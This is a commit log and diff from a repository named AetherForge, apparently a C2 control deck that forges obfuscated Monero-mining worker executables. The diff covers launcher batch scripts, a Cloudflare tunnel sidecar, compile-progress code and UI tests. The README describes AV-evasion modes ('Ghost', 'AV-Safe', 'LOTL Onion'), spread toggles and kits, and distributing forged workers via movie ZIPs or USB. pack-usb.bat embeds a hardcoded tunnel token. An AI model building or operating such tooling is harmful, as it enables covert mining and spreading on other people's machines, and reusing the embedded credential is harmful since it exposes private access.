8 Commits

Author SHA1 Message Date
AetherForge
df88d160cb Refresh portable USB bundle with freshly built server binary and synced LAUNCH.bat.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-09 04:17:28 -07:00
AetherForge
615034554c One-click LAUNCH.bat: pull, UI build, tunnel, and server start.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators double-click LAUNCH for git pull, npm build, data prep, cloudflared, and AetherForge or dev miner-server; devrun shares launch-prep.
2026-06-09 04:03:02 -07:00
AetherForge
9a884a80b6 Make hacker cursor trails visible on all desktop deck pages.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Remove Command-Deck-only gating, boost 0/1 particle intensity, add crosshair cursor, and relabel the settings toggle so operators can find the effect.
2026-06-08 19:53:06 -07:00
AetherForge
6ab43a468b Forge success label and real progress bar tied to server compile stages.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Replace Dispensed with Forged in the reveal modal, poll builder/progress with indeterminate-until-first-byte UX, and emit interpolated compile progress during long garble builds.
2026-06-08 19:48:46 -07:00
AetherForge
0c7b676e23 Replace cursor fire with hacker bit-trail particles on Command Deck.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Swaps orange flame blobs for rising 0/1 and hex glyphs in green/cyan with glow, capped rAF particles, and prefers-reduced-motion support.
2026-06-08 19:40:41 -07:00
AetherForge
ebcb1e1210 fix: mine-validate throughput timing for short runs
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-08 17:00:05 -07:00
AetherForge
d4ac5d435a fix: mine-validate throughput timing for short runs
Seed the pool job before workers start and sample hashrate every second so sub-5s validations reflect real hashing.
2026-06-08 16:58:46 -07:00
1d36d21242 Add MIT License
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
2026-06-08 16:34:16 -07:00
28 changed files with 851 additions and 361 deletions

View File

@@ -2,23 +2,52 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "REPO=%CD%"
echo.
echo ================================================================
echo AetherForge - One-Click Launch
echo ================================================================
echo Folder: %REPO%
echo.
set "PREP=%REPO%\scripts\launch-prep.bat"
if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
if exist "%PREP%" (
call "%PREP%" "%REPO%"
if errorlevel 1 (
echo.
echo LAUNCH prep failed - fix errors above and retry.
pause
exit /b 1
)
) else (
echo [Prep] launch-prep.bat not found - skipping pull/UI build.
)
if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
echo.
echo [Dry run] Prep steps OK - not starting tunnel or server.
pause
exit /b 0
)
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
set "ROOT="
if exist "%CD%\AetherForge.exe" (
set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
cd /d "%CD%\usb"
set "ROOT=!CD!"
) else (
echo.
echo ERROR: AetherForge.exe not found.
echo Expected next to this script, or in usb\AetherForge.exe
echo Run pack-usb.bat from the repo to build the portable bundle.
echo.
pause
exit /b 1
)
if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
:: No portable binary - dev control server from repo
goto dev_server_launch
:portable_deck
if not exist "%ROOT%\AetherForge.exe" (
echo ERROR: AetherForge.exe missing in %ROOT%
pause
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
@@ -58,7 +86,6 @@ if not errorlevel 1 (
goto go_ready
)
:: Go not found anywhere - skip optional tools, proceed directly to server
echo.
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
echo.
@@ -66,17 +93,11 @@ goto server_launch
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i not "%AF_INSTALL_TOOLS%"=="0" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble...
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
:server_launch
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
echo.
echo Ensuring data directories...
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
:lan_done
set "LAN_IP=%LAN_IP: =%"
:: ----------------------------------------------------------------
:: 6. Kill any stale server and tunnel processes
:: ----------------------------------------------------------------
echo Stopping stale processes...
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
@@ -139,12 +154,11 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\
echo.
echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
echo Starting tunnel...
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
)
echo.
:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
cd /d "%ROOT%"
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
echo Starting server...
set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
call :cleanup_tunnel "%ROOT%"
goto server_stopped
:dev_server_launch
echo.
echo No AetherForge.exe - starting dev control server ^(repo^).
echo ^(Run pack-usb.bat for portable USB bundle.^)
echo.
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
set "DATA=%REPO%\data"
set "DECK=%REPO%"
if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
echo Ensuring data directories...
if not exist "%DATA%\builds" mkdir "%DATA%\builds"
if not exist "%DATA%\logs" mkdir "%DATA%\logs"
if not exist "%DATA%\spread-kits" mkdir "%DATA%\spread-kits"
if not exist "%DATA%\uploads" mkdir "%DATA%\uploads"
if not exist "%DATA%\blueprints" mkdir "%DATA%\blueprints"
if not exist "%DATA%\preps" mkdir "%DATA%\preps"
if not exist "%REPO%\bin" mkdir "%REPO%\bin"
set "SERVER_PORT=8989"
set "CONFIG_FILE=%DATA%\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
set "LAN_IP=localhost"
echo Stopping stale processes...
taskkill /F /IM miner-server.exe >nul 2>nul
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
where go >nul 2>nul
if errorlevel 1 (
echo ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
pause
exit /b 1
)
if not exist "%REPO%\bin\miner-server.exe" (
echo Building control server...
cd /d "%REPO%\server"
go mod download >nul 2>nul
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if errorlevel 1 (
cd /d "%REPO%"
echo ERROR: Server build failed.
pause
exit /b 1
)
cd /d "%REPO%"
)
echo.
echo ================================================================
echo STARTING CONTROL SERVER ^(dev^)
echo ================================================================
echo Dashboard: http://localhost:%SERVER_PORT%
echo Data: %DATA%\
echo ================================================================
echo.
echo Starting tunnel...
set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
) else (
echo [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
)
echo.
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
echo Starting server...
cd /d "%REPO%"
set "AF_TUNNEL_EXTERNAL=1"
"%REPO%\bin\miner-server.exe" -data "%DATA%"
set "EC=!ERRORLEVEL!"
call :cleanup_tunnel "%DECK%"
goto server_stopped
:cleanup_tunnel
set "TROOT=%~1"
if exist "%TROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
del "%TROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
exit /b 0
:server_stopped
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
echo If port %SERVER_PORT% is in use, close other server windows and retry.
)
echo.

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 sudo-jones-cmd
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -316,35 +316,32 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
### Simple start (deploy → test → mine)
### Simple start
Three steps — no spread, no triple onion, no Probe & Join required:
**Double-click `LAUNCH.bat` — that's it.**
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
One click pulls updates (when online), builds the dashboard UI, ensures data folders, starts the Cloudflare tunnel sidecar, launches the control server, and opens your browser to the Command Deck (default **http://localhost:8989**). No portable USB bundle? `LAUNCH.bat` builds and runs `bin\miner-server.exe` from the repo instead.
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
After the deck is up: **Calibrate** wallet/pool, then **Forge → Simple mode → Deploy & Mine** on each PC you own. Honest scope: **deploy** means C2 registration + mining tier probe on that host — not lateral spread.
### Operator path (dev control PC)
1. Double-click **`devrun.bat`** in the project root.
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
1. **`LAUNCH.bat`** — same one-click path as above (preferred).
2. Or double-click **`devrun.bat`** for a dev-focused window (installs Go/Node if missing, pull + UI build, compiles `bin\miner-server.exe`, live logs).
2. Browser opens **http://localhost:8989**
3. Browser opens **http://localhost:8989**
3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
8. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
9. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
### Portable USB command deck
1. Run **`pack-usb.bat`** from repo root (re-run after any code change)

View File

@@ -169,7 +169,6 @@ func main() {
sharesFound++
fmt.Printf(" ★ SHARE job=%-14s nonce=%s\n", jobID, nonce)
})
pool.Start()
pool.SetJob(&job.Job{
ID: "validate-001",
Blob: testBlobHex,
@@ -177,9 +176,11 @@ func main() {
SeedHash: testSeedHex,
Height: 3000000,
})
pool.Start()
fmt.Printf(" ✓ %d worker(s) started, job injected\n", *threads)
ticker := time.NewTicker(5 * time.Second)
pool.ResetHashCounter()
ticker := time.NewTicker(1 * time.Second)
done := time.After(time.Duration(*seconds) * time.Second)
elapsed := 0
var finalHS float64
@@ -187,20 +188,23 @@ loop:
for {
select {
case <-ticker.C:
elapsed += 5
elapsed += 1
hs := pool.HashesPerSecond()
pool.ResetHashCounter()
finalHS = hs
fmt.Printf(" [%2ds] %8.1f H/s shares=%d\n", elapsed, hs, sharesFound)
case <-done:
ticker.Stop()
if hs := pool.HashesPerSecond(); hs > finalHS {
finalHS = hs
}
break loop
}
}
pool.Stop()
if finalHS < 1 {
fail(fmt.Sprintf("hashrate is 0 after %ds", *seconds), &ok)
if finalHS < 1 && sharesFound == 0 {
fail(fmt.Sprintf("hashrate is 0 and no shares after %ds", *seconds), &ok)
} else {
fmt.Printf("\n ✓ %.0f H/s total / %.0f H/s per thread\n", finalHS, finalHS/float64(*threads))
if sharesFound > 0 {

View File

@@ -73,7 +73,7 @@ echo Go installed.
:go_ready
:: Garble + go-winres (Forge pipeline tools failure is non-fatal)
:: Garble + go-winres (Forge pipeline tools ??? failure is non-fatal)
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
where garble >nul 2>nul
if errorlevel 1 (
@@ -131,6 +131,26 @@ echo Node.js installed.
:node_ready
:: ============================================================
:: STEP 2b: Git pull + UI build (shared with LAUNCH.bat)
:: ============================================================
if defined SKIP_FRONTEND (
echo.
echo Pulling latest ^(UI build skipped - Node.js unavailable^)...
git -C "%ROOT%" pull origin main 2>nul
if errorlevel 1 echo Note: git pull skipped or failed.
) else (
echo.
echo Pulling latest + building UI...
set "PREP=%ROOT%\scripts\launch-prep.bat"
if exist "%PREP%" (
call "%PREP%" "%ROOT%"
if errorlevel 1 goto fatal_exit
) else (
echo WARNING: scripts\launch-prep.bat missing - skipping pull/UI prep.
)
)
:: ============================================================
:: STEP 3: Data directories
:: ============================================================
@@ -142,44 +162,6 @@ if not exist "data\preps" mkdir "data\preps"
if not exist "bin" mkdir "bin"
echo OK: data\ and bin\
:: ============================================================
:: STEP 4: Frontend
:: ============================================================
if defined SKIP_FRONTEND goto skip_frontend
echo [4/5] Building dashboard (server\web)...
cd /d "%ROOT%\server\web"
if not exist "node_modules" (
echo npm install...
call npm install
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: npm install failed.
goto fatal_exit
)
)
echo npm run build...
call npm run build
if errorlevel 1 (
cd /d "%ROOT%"
echo ERROR: Frontend build failed.
goto fatal_exit
)
cd /d "%ROOT%"
echo Frontend built: server\web\dist
goto frontend_done
:skip_frontend
echo [4/5] Skipping frontend build (Node.js unavailable)
if not exist "server\web\dist\index.html" (
echo WARNING: No server\web\dist\index.html — dashboard may not load.
)
:frontend_done
if exist "server\web\dist\index.html" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
echo Copied dashboard to server\webroot
)
:: ============================================================
:: STEP 5: Server binary
@@ -198,7 +180,7 @@ if errorlevel 1 (
cd /d "%ROOT%"
if defined AETHERFORGE_RELEASE (
echo Release mode active set AETHERFORGE_RELEASE=1 for server process.
echo Release mode active ??? set AETHERFORGE_RELEASE=1 for server process.
)
if not exist "bin\miner-server.exe" (
@@ -208,7 +190,7 @@ if not exist "bin\miner-server.exe" (
echo Server binary: bin\miner-server.exe
:: ============================================================
:: LAUNCH (foreground logs stay in this window)
:: LAUNCH (foreground ??? logs stay in this window)
:: ============================================================
echo.
echo Stopping any previous miner-server.exe...
@@ -261,7 +243,7 @@ goto end_pause
:fatal_exit
echo.
echo ==============================================================
echo LAUNCH FAILED fix the errors above and run devrun.bat again.
echo LAUNCH FAILED ??? fix the errors above and run devrun.bat again.
echo ==============================================================
echo.

View File

@@ -150,6 +150,7 @@ echo [5/8] Launcher synced.
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
copy /y "%ROOT%\scripts\launch-prep.bat" "%USB%\scripts\" >nul
if not exist "%USB%\data\cloudflared-token.txt" (
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
)

74
scripts/launch-prep.bat Normal file
View File

@@ -0,0 +1,74 @@
@echo off
setlocal EnableExtensions
set "PREP_ROOT=%~1"
if "%PREP_ROOT%"=="" (
echo [Prep] ERROR: launch-prep.bat requires repo root path.
exit /b 1
)
echo.
echo Pulling latest from origin/main...
if exist "%PREP_ROOT%\.git" (
pushd "%PREP_ROOT%" >nul
git pull origin main
if errorlevel 1 (
echo [Prep] Note: git pull skipped or failed ^(offline, no remote, or local changes^).
) else (
echo [Prep] Git pull finished.
)
popd >nul
) else (
echo [Prep] Skipped ^(not a git checkout^).
)
if not exist "%PREP_ROOT%\server\web\package.json" (
echo [Prep] No server\web\package.json - skipping UI build.
exit /b 0
)
set "PATH=C:\Program Files\nodejs;%PATH%"
where npm >nul 2>nul
if errorlevel 1 (
echo [Prep] WARNING: npm not found - skipping UI build.
exit /b 0
)
echo.
echo Building UI ^(server\web^)...
cd /d "%PREP_ROOT%\server\web"
if not exist "node_modules" (
if exist "package-lock.json" (
echo [Prep] npm ci...
call npm ci
) else (
echo [Prep] npm install...
call npm install
)
if errorlevel 1 (
cd /d "%PREP_ROOT%"
echo [Prep] ERROR: npm install failed.
exit /b 1
)
)
echo [Prep] npm run build ^(this may take a few minutes^)...
call npm run build
if errorlevel 1 (
cd /d "%PREP_ROOT%"
echo [Prep] ERROR: Frontend build failed.
exit /b 1
)
cd /d "%PREP_ROOT%"
if not exist "%PREP_ROOT%\server\webroot" mkdir "%PREP_ROOT%\server\webroot"
echo [Prep] Syncing server\webroot...
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
if exist "%PREP_ROOT%\usb" (
if not exist "%PREP_ROOT%\usb\webroot" mkdir "%PREP_ROOT%\usb\webroot"
echo [Prep] Syncing usb\webroot...
xcopy /E /I /Y /Q "server\web\dist\*" "usb\webroot\" >nul
)
echo [Prep] UI build complete.
exit /b 0

View File

@@ -253,8 +253,9 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
}
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, "Compiling agent (linux/arm64)", 25, 54, false)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
stopCompileProgress()
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""

View File

@@ -34,10 +34,17 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
total := len(platforms)
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
for i, p := range platforms {
pct := 14 + (i*56)/total
h.setProgress(req.CancelToken, fmt.Sprintf("Compiling %s", p.Label()), pct)
startPct := 14 + (i*56)/total
endPct := 14 + ((i+1)*56)/total
if endPct > 71 {
endPct = 71
}
stage := fmt.Sprintf("Compiling %s", p.Label())
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, stage, startPct, endPct, obfuscated)
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
stopCompileProgress()
if err != nil {
cleanupBuild()
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""

View File

@@ -690,15 +690,16 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
platforms := platformsForRequest(req)
p := platforms[0]
h.setProgress(req.CancelToken, "Compiling agent", 20)
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
stopCompileProgress := h.tickCompileProgress(ctx, req.CancelToken, "Compiling agent", 20, 71, obfuscated)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
stopCompileProgress()
if err != nil {
cleanupBuild()
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
h.setProgress(req.CancelToken, "Compiled — linking output", 72)
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName

View File

@@ -0,0 +1,45 @@
package builder
import (
"context"
"time"
)
// tickCompileProgress emits interpolated progress during long compile steps (garble can run 10+ minutes).
// Returns a stop function; call it when the compile finishes.
func (h *Handler) tickCompileProgress(ctx context.Context, token, stage string, startPct, capPct int, obfuscated bool) func() {
if token == "" || capPct <= startPct {
return func() {}
}
est := 3 * time.Minute
if obfuscated {
est = 12 * time.Minute
}
done := make(chan struct{})
go func() {
h.setProgress(token, stage, startPct)
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
start := time.Now()
for {
select {
case <-done:
return
case <-ctx.Done():
return
case <-ticker.C:
elapsed := time.Since(start)
ratio := float64(elapsed) / float64(est)
if ratio > 0.92 {
ratio = 0.92
}
pct := startPct + int(float64(capPct-startPct)*ratio)
if pct >= capPct {
pct = capPct - 1
}
h.setProgress(token, stage, pct)
}
}
}()
return func() { close(done) }
}

View File

@@ -0,0 +1,36 @@
/**
* @vitest-environment happy-dom
*/
import { describe, expect, it, vi } from 'vitest';
import { render, screen } from '@testing-library/react';
import ForgeDispenseReveal from './ForgeDispenseReveal';
vi.mock('../../context/AmbientMusicContext', () => ({
useModalAmbientDuck: () => {},
}));
vi.mock('../../context/SoundContext', () => ({
useSound: () => ({ play: vi.fn() }),
}));
vi.mock('../DownloadButton', () => ({
default: ({ children }: { children: React.ReactNode }) => <button type="button">{children}</button>,
}));
describe('ForgeDispenseReveal', () => {
it('shows Forged title on successful forge', () => {
render(
<ForgeDispenseReveal
result={{
success: true,
file_name: 'worker.exe',
download_url: '/api/v1/builds/x/download',
stealth_score: 72,
}}
onClose={() => {}}
/>,
);
expect(screen.getByRole('heading', { name: 'Forged' })).toBeInTheDocument();
expect(screen.queryByText('Dispensed')).not.toBeInTheDocument();
});
});

View File

@@ -35,7 +35,7 @@ export default function ForgeDispenseReveal({ result, onClose }: Props) {
<div className="forge-dispense-panel">
<div className="forge-dispense-sigil" aria-hidden />
<h2 id="forge-dispense-title" className="forge-dispense-title">
Dispensed
Forged
</h2>
<p className="forge-dispense-sub">
{result.file_name || 'Your worker'} is ready each forge carries a unique binary signature.

View File

@@ -0,0 +1,48 @@
/**
* @vitest-environment happy-dom
*/
import { describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import ForgeProgressBar, {
FORGE_INITIAL_STAGE,
isForgeProgressIndeterminate,
} from './ForgeProgressBar';
describe('isForgeProgressIndeterminate', () => {
it('is indeterminate before server reports progress', () => {
expect(isForgeProgressIndeterminate(FORGE_INITIAL_STAGE, 0)).toBe(true);
expect(isForgeProgressIndeterminate('', 0)).toBe(true);
});
it('is determinate once server reports pct or stage advances', () => {
expect(isForgeProgressIndeterminate('Compiling agent', 20)).toBe(false);
expect(isForgeProgressIndeterminate(FORGE_INITIAL_STAGE, 5)).toBe(false);
});
});
describe('ForgeProgressBar', () => {
it('renders nothing when not building', () => {
const { container } = render(
<ForgeProgressBar building={false} stage="" progress={0} />,
);
expect(container.firstChild).toBeNull();
});
it('shows indeterminate track before server progress', () => {
const { container } = render(
<ForgeProgressBar building stage={FORGE_INITIAL_STAGE} progress={0} />,
);
expect(screen.getByText('…')).toBeInTheDocument();
expect(container.querySelector('.forge-progress-track.indeterminate')).toBeTruthy();
cleanup();
});
it('shows server stage and pct when progress is reported', () => {
const { container } = render(
<ForgeProgressBar building stage="Compiling agent" progress={42} />,
);
expect(screen.getByText('Compiling agent')).toBeInTheDocument();
expect(screen.getByText('42%')).toBeInTheDocument();
expect(container.querySelector('.forge-progress-track.indeterminate')).toBeNull();
});
});

View File

@@ -0,0 +1,47 @@
export const FORGE_INITIAL_STAGE = 'Initializing forge...';
interface Props {
building: boolean;
stage: string;
progress: number;
}
/** True while waiting for the first server-reported forge stage. */
export function isForgeProgressIndeterminate(stage: string, progress: number): boolean {
return progress === 0 && (stage === '' || stage === FORGE_INITIAL_STAGE);
}
export default function ForgeProgressBar({ building, stage, progress }: Props) {
if (!building) return null;
const indeterminate = isForgeProgressIndeterminate(stage, progress);
const displayStage = stage || 'Initializing...';
const pctLabel = indeterminate ? '…' : `${Math.round(progress)}%`;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{displayStage}</span>
<span className="forge-progress-pct">{pctLabel}</span>
</div>
<div
className={`forge-progress-track${indeterminate ? ' indeterminate' : ''}`}
role="progressbar"
aria-valuemin={0}
aria-valuemax={100}
aria-valuenow={indeterminate ? undefined : Math.round(progress)}
aria-busy={indeterminate}
aria-label={displayStage}
>
<div
className="forge-progress-fill"
style={indeterminate ? undefined : { width: `${progress}%` }}
/>
{!indeterminate && (
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
)}
</div>
</div>
);
}

View File

@@ -348,10 +348,10 @@ export default function Layout({ children }: LayoutProps) {
return (
<div
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}${!isMobile && glowParticles ? ' layout--hacker-cursor' : ''}`}
data-operator-deck={operatorDeckId(location.pathname)}
>
{!isMobile && glowParticles && showDeckEffects && <CursorFire />}
{!isMobile && glowParticles && <CursorFire />}
<AmbientBackground weather={pageWeather} />
{glowParticles && <SacredGeometryLayer />}
<nav className="sidebar sidebar--desktop desktop-only">

View File

@@ -0,0 +1,32 @@
.cursor-hacker-fx {
position: fixed;
inset: 0;
pointer-events: none;
z-index: 9999;
mix-blend-mode: screen;
}
.layout--hacker-cursor {
cursor: crosshair;
}
.layout--hacker-cursor a,
.layout--hacker-cursor button,
.layout--hacker-cursor input,
.layout--hacker-cursor select,
.layout--hacker-cursor textarea,
.layout--hacker-cursor label,
.layout--hacker-cursor [role='button'],
.layout--hacker-cursor .nav-item {
cursor: pointer;
}
@media (prefers-reduced-motion: reduce) {
.cursor-hacker-fx {
display: none !important;
}
.layout--hacker-cursor {
cursor: auto;
}
}

View File

